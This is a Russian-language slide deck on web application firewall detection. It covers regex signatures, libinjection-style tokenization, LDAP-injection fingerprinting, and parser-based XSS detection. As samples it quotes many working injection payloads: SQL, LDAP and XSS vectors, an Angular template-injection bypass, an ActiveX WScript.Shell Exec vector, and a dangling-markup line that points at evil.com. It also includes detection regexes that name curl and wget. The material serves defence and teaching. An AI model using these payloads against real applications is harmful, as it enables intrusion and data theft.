Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls.
Основной принцип нормализации – приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение
Positive Security Model
Positive Security Model108
HTTP
ptsecurity.com
ptsecurity.com
Positive Security Model109
А. Реутов, А. Завгородний. Продвинутая защита от DDoS-атак на прикладном уровне с помощью алгоритмов машинного обучения
А. Реутов, А. Завгородний. Распознование активности ботов с помощью алгоритмов машинного обучения
В. Лепихин. Реализация методов самообучения в WAF
Negative Security Model
ptsecurity.com
Negative Security Model111
Лексический подход (регулярные выражения)
Лексико-сигнатурный подход • libinjection (Nick Galbreath)
Синтаксический подход• на основе генерации парсеров - libdetection (Wallarm)
• на основе адаптации парсеров - Waf.js (Positive Technologies)
Лексический подход
Лексический подход113
HTTP
ptsecurity.com
(?:\/[^\?\/]+\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\;[^\?\/]*)?\?)|\?.+\=.*(?:(?:ActiveXObject|CreateObject|Exec)\((?:"|')|\((?:'|")WScript\.Shell)
LDAP Search Filter Injection(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])
Reflected File Download
SSRF(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress\.zlib|glob|data):\/\/
(?i:(?:[\;\|\`]\W*?\bcc|\b(wget|curl))\b|\/cc(?:[\'\"\|\;\`\-\s]|$))
OS Command Injection
SSI Injection<!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)
Лексический подход114
HTTP
ptsecurity.com
Reflected File Download
Лексический подход115
HTTP
ptsecurity.com
SQL Injection
# Detect SQL Comment Sequences(/\*!?|\*/|[';]--|--[\s\r\n\v\f]|(?:--[^-]*?-)|([^\-&])#.*?[\s\r\n\v\f]|;?\\x00)# SQL Hex Evasion Methods(?i:(?:\A|[^\d])0x[a-f\d]{3,}[a-f\d]*)+# String Termination/Statement Ending Injection Testing(^[\"'`´’‘;]+|[\"'`´’‘;]+$)# SQL Operators(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|\bxor\b|\brlike\b|\bregexp\b|\bisnull\b)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:\bxor\b|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))# SQL Tautologies (?i:([\s'\"`´’‘\(\)]*?)\b([\d\w]++)([\s'\"`´’‘\(\)]*?)(?:(?:=|<=>|r?like|sounds\s+like|regexp)([\s'\"`´’‘\(\)]*?)\2\b|(?:!=|<=|>=|<>|<|>|\^|is\s+not|not\s+like|not\s+regexp)([\s'\"`´’‘\(\)]*?)(?!\2)([\d\w]+)\b))# Detect DB Names(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\.\.sysdatabases|ysql\.db)|s(?:ys(?:\.database_name|aux)|chema(?:\W*\(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)e\W*\(|information_schema|pg_(catalog|toast)|northwind|tempdb))
Лексический подход116
HTTP
ptsecurity.com
SQL Injection
(?i:\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|case|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stampdiff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(base64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(add|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ight_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)\W*\(|\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_ntsec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|elete\b\W*?\bfrom)|group\b.*\bby\b.{1,100}?\bhaving|open(?:rowset|owa_util|query)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|print\b\W*?\@\@|cast\b\W*?\()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)\W*\(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)\W*\(|llation\W*\(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)\W*\(|bms_\w+\.\b)|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|\butl_inaddr\b|\bsys_context\b|'(?:s(?:qloledb|a)|msdasql|dbo)'))
ptsecurity.com
Правила117
Регулярные выражения – описание сигнатуры
Правило – описание контекста и логики
Правила• Условия
• Источники
• Корреляции
Пример правил: PT Application Firewall118
HTTP
ptsecurity.com
Reflected File Download
{"rule": {
"and": [ {"REQUEST_URI": {
"regex": "(?:\\/[^\\?\\/]+\\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\\;[^\\?\\/]*)?\\?)|\\?.+\\=.*(?:(?:ActiveXObject|CreateObject|Exec)\\((?:\\x22|')|\\((?:'|\\x22)WScript\\.Shell)"
}},{
"RESPONSE_HEADERS;content-disposition": {"itext": "attachment"
}}
]}
}
Пример правил: PT Application Firewall119
HTTP
ptsecurity.com
IP Address Leakage
{"name": "IP Address Leakage","enabled": true,"rule": {
"RESPONSE_BODY": {"regex": "(?)\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b"
}}
}
Пример правил: PT Application Firewall120
HTTP
ptsecurity.com
Missing Security Header
{"name": "Missing Security Header","enabled": "true","rule": {
"not": [{
"and": [{"RESPONSE_HEADERS_KEYS": "x-frame-options"},{"RESPONSE_HEADERS_KEYS": "x-download-options"},{"RESPONSE_HEADERS_KEYS": "x-content-type-options"},{"RESPONSE_HEADERS_KEYS": "x-xss-protection"}
]}
]}
}
Пример правил: PT Application Firewall121
HTTP
ptsecurity.com
Leakage in HTTP Header
{"name": "Leakage In HTTP Header","description": "","enabled": true,"rule": {"or": [{"RESPONSE_HEADERS_KEYS": "X-AspNet-Version"},{"RESPONSE_HEADERS_KEYS": "X-AspNetMvc-Version"},{"RESPONSE_HEADERS_KEYS": "X-Powered-CMS"},{"RESPONSE_HEADERS_KEYS": "X-Backend-Server"},{"RESPONSE_HEADERS_KEYS": "X-Powered-By"},{"RESPONSE_HEADERS_KEYS": "Server"},{"RESPONSE_HEADERS_KEYS": "X-ChromePhp-Data"},{"RESPONSE_HEADERS_KEYS": "X-ChromeLogger-Data"}
]}
}
Пример правил CloudFlare122
HTTP
ptsecurity.com
Anonymous Attack
rule 1234567A Simple POST botnetREQUEST_METHOD is POST andREQUEST_URI is /q
deny
rule 12345679 Anonymous attackREQUEST_METHOD is GET andREQUEST_URI begins /?msg=Nous%20sommes%20Anonymous
deny
Simple POST Botnet
Пример правил: ModSecurity123
HTTP
ptsecurity.com
Heuristic Checks## -=[ Heuristic Checks ]=-## [ Repeatative Non-Word Chars ]## This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence#SecRule ARGS "\W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',accuracy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
Лексико-сигнатурный подход
ptsecurity.com
Лексико-сигнатурный подход125
Предложил Nil Galbreath в 2012 для обнаружения SQL-инъекций
Позднее данный подход был адаптировал для обнаружения XSS
Реализован в библиотеке libinjection
Основные идеи
• Выполняется токенизация значения в соответствии с заданной грамматикой в 3-х контекстах
• Строится свертка
• Последовательность первых 5-ти токенов ищется в базе сигнатур
• База сигнатур строится по популярным векторам атак
ptsecurity.com
Пример126
input = 42" or "1"="1" --
1
ptsecurity.com
Пример127
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
ptsecurity.com
Пример128
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string
Токены
ptsecurity.com
Пример129
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ptsecurity.com
Пример130
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ptsecurity.com
Пример131
input = 42" or "1"="1" --
2
ptsecurity.com
Пример132
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
ptsecurity.com
Пример133
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' \'42" or "1"="1" --'): string
Токены
ptsecurity.com
Пример134
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' \'42" or "1"="1" --'): string
Токены
s
Сигнатура
ptsecurity.com
Пример135
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' \'42" or "1"="1" --'): string
Токены
s
Сигнатура
ptsecurity.com
Пример136
input = 42" or "1"="1" --
3
ptsecurity.com
Пример137
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
ptsecurity.com
Пример138
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment
Токены
ptsecurity.com
Пример139
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment
Токены
s&sos
Сигнатура
ptsecurity.com
Пример140
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment
Токены
s&sos
Сигнатура
ptsecurity.com
Примеры сигнатур141
&(1)U
&(1)o
&(1o(
&(1of
&(1os
&(1ov
&(f()
&(nof
&(nos
&(nov
&(s)U https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
Проблема ложных срабатываний
POST /app HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
Text=Dancin' like a robot on fire
142
ptsecurity.com
Обнаружение LDAP-инъекций с нуля
ptsecurity.com
LDAP-инъекция144
«Внедрение операторов LDAP» (LDAP Injection) — атака, позволяющая злоумышленнику влиять на фильтр поиска, либо на Base DN, в обход логики приложения
Злоумышленник может обойти механизмы аутентификации, получить конфиденциальную информацию или повлиять на модифицирующие запросы
LDAP Injection
• Search filter
• Distinguished Name
В ModSecurity CRS обнаружение LDAP-инъекции основано на следующем регулярном выражении
(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])
https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/base_rules/modsecurity_crs_40_generic_attacks.conf
ptsecurity.com
LDAP-инъекция145
ptsecurity.com
Вектора LDAP-инъекций146
foo)(sn=100foo)(&)documents)(security_level=*))(&(directory=documentsprinter)(uid=*)printer)(department=fa*)printer)(department=*fa*)*)(objectClass=*))(&(objectClass=void*)(objectClass=users))(&(objectClass=foovoid)(objectClass=users))(&(objectClass=void)
https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
Вектора Алонсо-Парада
ptsecurity.com
Вектора LDAP-инъекций147
eb9adbd87d)(sn=*eb9adbd87d)!(sn=**)(sn=**)!(sn=*
Вектора Burp Suite
Вектора ExploitDB
ka0x)(|(homedirectory=*)
5faa0382d747b754)(sn=*
5faa0382d747b754)!(sn=*
ptsecurity.com
Вектора LDAP-инъекций148
%2A%28%7C%28mail%3D%2A%29%29%2A%28%7C%28objectclass%3D%2A%29%29*(|(mail=*))*(|(objectclass=*))*()|&'admin*admin*)((|userpassword=*)*)(uid=*))(|(uid=*
Вектора FuzzDB
ptsecurity.com
Вектора LDAP-инъекций149
^(#$!@#$)(()))******
Вектора W3AF
Вектора Acunetix
!(()&&!|*|*|
^(#$!@#$)(()))******
Вектора OWASP Testing Security Guide
*)(uid=*))(|(uid=*
ptsecurity.com
LDAP-инъекция150
Применим подход libinjection для обнаружения LDAP-инъекций в фильтрах поиска
Пример фильтра
Этапы• Определение контекстов
• Определение токенов по грамматике LDAP Search Filter
• Определение правил кодирования и свертки
• Создание базы сигнатур
(&(givenName=John)(|(l=Dallas)(l=Austin)))
ptsecurity.com
LDAP-инъекция151
Контексты• (cn=$input)
• (&(cn=$input)(sn=$const))
• (&(cn=$const)(sn=$input))
ptsecurity.com
LDAP-инъекция152
https://tools.ietf.org/search/rfc4515
Лексемы
(
)
&, |, !
=, >=, <=, ~=
Токен
(
)
&
o
attr, attributeDescription, any, assertionValue, [dnattrs],
[matchingrule]n
ptsecurity.com
Контексты153
Лексемы Фильтр
(cn=aa)(&)
(cn=aa)(cn=aa)(cn=$input)
Фингерпринт
n)(& *
n)(no
* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции
ptsecurity.com
Контексты154
Лексемы Фильтр
(&(cn=aa)(sn=aa)(&))
(&(cn=aa)(sn=aa)(cn=aa)(&))(&(cn=$const)(sn=$input))
Фингерпринт
n)(&
n)(no
(&(cn=aa)(sn=aa))(&(cn=aa)(sn=aa)) n))(& *
(&(cn=aa)(sn=aa)))%00)) n))) **
* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции
ptsecurity.com
Контексты155
Лексемы Фильтр
(&(cn=aa)(&)(sn=aa))
(&(cn=aa)(sn=aa)(sn=aa))
(&(cn=$input)(sn=$const))
Фингерпринт
n)(&
n)(no
(&(cn=aa)(&)(sn=aa)(sn=aa)) n)(&)
(&(cn=aa)(&(cn=aa)(cn=aa))(sn=aa)) n)(&(
(&(cn=aa)(&))(sn=aa))
(&(cn=*)!(sn=*)(sn=aa))
(&(cn=aa))%00)(sn=aa))
* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции*** - Синтаксически неверный вектор, используемый в тестах
n)(&) *
n)&(n ***
n)) **
Синтаксический подход
ptsecurity.com
Предлагаемый подход157
Разрешать входные данные, если в построенном по ним дереве разбора не содержится опасных конструкций
Использование готовых синтаксических анализаторов (парсеров)
Подход универсален и может быть использован для обнаружению любых инъекций при наличии соответствующих парсеров
Подход эвристический
ptsecurity.com
Пример: DOM-based XSS158
http://excess-xss.com/
ptsecurity.com
Пример: DOM-based XSS159
http://ex.com/foo.html#11111
var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");
<script> var foo = 11111; <script>
Program
ExpressionStatement
Literal
ptsecurity.com
Пример: DOM-based XSS160
http://ex.com/foo.html#1;alert(1);
var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
ptsecurity.com
Построение дерева разбора161
ptsecurity.com
Идеальный парсер162
Написан на JavaScript
Работает в веб-браузере
Высокопроизводительный
Соответствует стандартам (ECMAScript, ESTree)
Имеет возможность изменять методы разбора
Возвращает информацию об ошибках
Может работать в режиме толерантности к ошибкам (error-tolerant parser)
ptsecurity.com
Поиск вредоносного кода в JavaScript163
Опасные конструкции в простейшем случае задаются перечнем типов узлов ESTree
Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов
Далее в примерах (для простоты изложения) считается, что список ограничен узлами типа CallExpression
ptsecurity.com
Поиск в дереве разбора164
Что делать когда дерево разбора не может быть построено?""};alert(1);var f={t:"
function sanitize(dirty) {var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree;tree = esprima.parse(dirty);estraverse.traverse(tree, {enter: function(node) {
if (node.type === 'CallExpression') {return clean;
}}
});return dirty;
}
Обход дерева (esprima/estraverse)
ptsecurity.com
Модульный парсер Acorn165
function sanitize(dirty) {var acorn = require('acorn'), detected = false, clean = '', tree ;acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {return function(code, node) {
if(node === 'CallExpression') {detected = true;
}return nextMethod.call(this, code, node);
}})
};
tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});if (detected) {
return clean;}return dirty;
}
ptsecurity.com
Метод поиска с левым приведением166
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens - список JS-токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если S непустая строка, то перейти на шаг 2
ptsecurity.com
Поиск с левым приведением167
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "1
ptsecurity.com
Поиск с левым приведением168
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
2
ptsecurity.com
Поиск с левым приведением169
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ""});alert(1);var f =({t:"
parse(ctx): Unexpected token (1:2)
3
ptsecurity.com
Поиск с левым приведением170
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = });alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
4
ptsecurity.com
Поиск с левым приведением171
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = );alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
5
ptsecurity.com
Поиск с левым приведением172
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ;alert(1);var f =({t:"
parse(ctx): Program
6
ptsecurity.com
Поиск с левым приведением173
7Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}ctx = ;alert(1);var f =({t:"
ptsecurity.com
Фрагмент кода174
function sanitize(s){var clean = '';var ctxs = ['', '"', '\''], ctx, tokens, curToken, detected = false;for (var i = 0, len = ctxs.length; i < len; i++) {
ctx = ctxs[i] + s;tokens = getTokens(ctx);curToken = 0;while(ctx.length > 0 && !isInjection) {
try {acorn.parse(ctx, plugins: {detectCallExpression: true}});
}catch(e){}if (detected) return clean;ctx = ctx.substring(tokens[curToken].length);curToken +=1;
}}return s;
};}
ptsecurity.com
Примеры обнаруживаемых векторов175
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
OSX Message XSS
Client-side Template Injection with AngularJS
Cure53 H5SC Mini Challenge 4[alert(1)]%22})));alert(1)}catch(e){}//
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
ptsecurity.com
Примеры обнаруживаемых векторов176
http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6 alert`1`
https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
ptsecurity.com
Толерантность к ошибкам177
)},{0:prompt(1Prompt.ml Challenge Hidden Level 4
function escape(input) {// You know the rules and so do Iinput = input.replace(/"/g, '');return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"
ptsecurity.com
Толерантность к ошибкам178
nodes = {CallExpression}
s = )},{0:prompt(1Program
ExpressionStatement
SequenceExpression
…
ObjectExpressionIdentifier
CallExpression
name: x
ptsecurity.com
Минимизация ложных срабатываний 179
Расширенная конфигурация• Классы источников• Контексты для источников и отдельных параметров• Запрещенные узлы ESTree
Реализация дополнительных проверок в модулях Acorn
Предустановленные профили защиты
Тестирование
Применение технологий защиты
Адаптация DOMPurify
ptsecurity.com
Виды XSS182
XSS
HTML/DOM
JavaScript
Attribute
URL
Пример
<svg/onload=alert(1)>
");alert(1);//
" onload="alert(1)
javascript:alert(1)
Грамматика
HTML, JavaScript
JavaScript
HTML, JavaScript
URL, JavaScript
ptsecurity.com
DOMPurify183
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности– Точный механизм– Инструмент для разработчиков– Удаление вредоносного и запрещенного кода из HTML/MathML/SVG– Поддерживает механизм хуков
ptsecurity.com
Что может DOMPurify184
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)<\/script></b></a>789';var policy = {FORBID_TAGS: ['a', 'b']};var clean = DOMPurify.sanitize(dirty, policy);clean; //123456789
var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>';var clean = DOMPurify.sanitize(dirty);clean; // "123<a>I am a dolphin too!</a>"
var dirty = '<a x="1">123<b>456</b></a>';var policy = {FORBID_ATTR: ['x']};var clean = DOMPurify.sanitize(dirty, policy);clean; //"<a>123<b>456</b></a>"
ptsecurity.com
Что может DOMPurify185
Предотвращать атаки DOMClobbering
var dirty = '<img src=x name=createElement><img src=y id=createElement>';var clean = DOMPurify.sanitize(dirty);clean; // "<img src="x"><img src="y">"
var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>';var clean = DOMPurify.sanitize(dirty);clean; // "<form><input>123</form>"
var dirty = '<img src=x name=cookie>';var clean = DOMPurify.sanitize(dirty);clean; // "<img src="x">"
ptsecurity.com
Что может DOMPurify186
Предотвращать атаки на структуру HTML
var dirty = '<img src='http://evil.com/log.cgi?';var clean = DOMPurify.sanitize(dirty);clean;// ""dirty = '<script src=//14.rs a="';clean = DOMPurify.sanitize(dirty);clean; // ""
Dangling markup injectionhttp://lcamtuf.coredump.cx/postxss/http://blog.innerht.ml/csp-2015/
ptsecurity.com
Особенности DOMPurify187
Изменение входной строки• Изменение порядка атрибутов
• Добавление двойных кавычек
• Добавление закрывающего тега
Если в строке отсутствует символ "<", то DOMPurify ничего не делает
/* Input modification */DOMPurify.sanitize("<svg width=1 height='2'>");// "<svg height="2" width="1"></svg>"
/* DOMPurify does nothing if an input does not contain "<" */DOMPurify.sanitize("alert(1);");// "alert(1);//"
ptsecurity.com
Что не может DOMPurify188
Предотвращать JavaScript-инъекции
http://ex.com/foo.html#a';alert(1);//
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>");
// dirty = "bar';alert(1);//"// clean = "bar';alert(1);//"<script> var foo = 'a';alert(1);//'</script>
ptsecurity.com
Что не может DOMPurify189
Предотвращать Attribute-based-инъекции
http://ex.com/foo.html#' onload='alert(1);
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<img src='pic.jpg' width='" + width + "px'/>");
// dirty = "' onload='alert(1);"// clean = "' onload='alert(1);"<img src='pic.jpg' width='' onload=alert(1);px'/>");
ptsecurity.com
Что не может DOMPurify190
Предотвращать JavaScript-инъекции в контексте URL
http://ex.com/foo.html#javascript:alert(1);
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<a href='"+clean+"'>Link</a>");
// dirty = "javascript:alert(1)"// clean = "javascript:alert(1)"<a href='javascript:alert(1)'>Link</a>");
ptsecurity.com
Что не может DOMPurify191
Предотвращать атаки Reverse Clickjacking/SOME
http://ex.com/foo.html#delete_button.click
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);var url = '/re?q=' + clean + '&callback=' + clean + '';var s = document.createElement('script');s.src = url;document.body.appendChild(s);
// dirty = "delete_button.click"// clean = "delete_button.click"<script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
ptsecurity.com
Адаптация DOMPurify192
function sanitize(s) {var clean = '';DOMPurify.sanitize(s);if (DOMPurify.removed.length > 0)) {
return clean;}return s;
}
ε, dompurify.removed(x) ≠ 0
x, dompurify.removed(x) = 0sanitize(x) =
Виртуальный патчинг
ptsecurity.com
Как сгенерировать патч194
Знать как не должно быть: необходимые и достаточные условия наличия уязвимости
Знать как есть: доказать наличие этих признаков в анализируемом коде защищаемого приложения
Устранить хотя бы один из необходимых признаков путем изменения кода
В. Кочетков. Автоматическая генерация патчей для уязвимого исходного кода
ptsecurity.com
Как сгенерировать виртуальный патч195
Знать как не должно быть: необходимые и достаточные условия наличия уязвимости
Знать как есть: доказать наличие этих признаков в анализируемом коде защищаемого приложения
Устранить возможность достижения хотя бы одного из необходимых признаков путем блокирования запросов
ptsecurity.com
Метод защиты196
На основе анализа исходного кода веб-приложения средствами
SAST/IAST выполняется поиск уязвимостей и создается отчет
